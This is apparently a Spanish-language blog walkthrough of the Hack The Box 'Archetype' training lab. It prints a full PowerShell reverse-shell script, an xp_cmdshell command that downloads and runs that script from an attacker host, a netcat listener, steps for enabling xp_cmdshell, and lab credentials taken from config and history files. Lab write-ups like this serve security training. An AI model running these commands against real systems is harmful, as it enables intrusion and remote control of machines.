Machine:Archetype (Starting Point)
ARCHETYPE
Plataforma: Hack The Box
OS: Windows
Machine:Archetype (Starting Point)
Dirección IP: 10.10.10.27
Reconocimiento
Comandos:
nmap -sC -sV 10.10.10.27
Enumeración de recursos compartidos:
smbclient -N -L \\\\10.10.10.27\
Comandos:
smbclient -N -L 10.10.10.27
Se encontró un archivo dtsConfig, este archivo de configuración es
utilizado para aplicar valores de propiedades a paquetes SQL Server
Integration Services (SSIS), dentro del archivo se encontró un usuario local
de Windows:
User ID: ARCHETYPE\sql_svc
Password: M3g4c0rp123
Password: M3g4c0rp123
Acceso
Nos conectamos ala base de datos con el cliente de SQL Server de Impacket
(mssqlclient.py), posterior verificamos si la cuenta obtenida es miembro de
los administradores de la base de datos:
Comandos:
mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
SELECT IS_SRVROLEMEMBER('sysadmin')
Comandos:
mssqlclient.py ARCHETYPE/sql_svc@10.10.10.27 -windows-auth
SELECT IS_SRVROLEMEMBER('sysadmin')
Comandos:
EXEC sp_configure 'Show Advanced Options', 1;reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1
reconfigure;
xp_cmdshell "whoami"
Código:
$client = New-Object System.Net.Sockets.TCPClient("Tu_IP",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() Comandos:
python3 -m http.server 80
En una ventana en paralelo dejamos el puerto 443, con la finalidad de
recibir la Shell Reversa:
Comandos:
nc -lvnp 443
Comandos:
xp_cmdshell "powershell "IEX (New-Object
Net.WebClient).DownloadString(\"http://Tu_IP/shell.ps1\");"
finalmente obtenemos una Shell de una cuenta de servicio y sin privilegios de administrador:
Escalación de Privilegios
Como se trata de una cuenta de usuario normal, así como una cuenta de
servicio, podemos verificar el acceso frecuente a archivos o comandos
ejecutados, con el siguiente comando podemos acceder al archivo de historial
de PowerShell:
Comandos:
type
C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
Usuario: Administrator
Contraseña: MEGACORP_4dm1n!!
Nos conectamos con credenciales de administrador con psexec.py de impacket:
Comandos:
psexec.py administrator@10.10.10.27
Finalmente obtenemos la bandera en el Escritorio del Administrador:
Etiquetas: Hacking, HackTheBox, Walkthrough
0 comentarios:
Publicar un comentario
Suscribirse a Enviar comentarios [Atom]
<< Inicio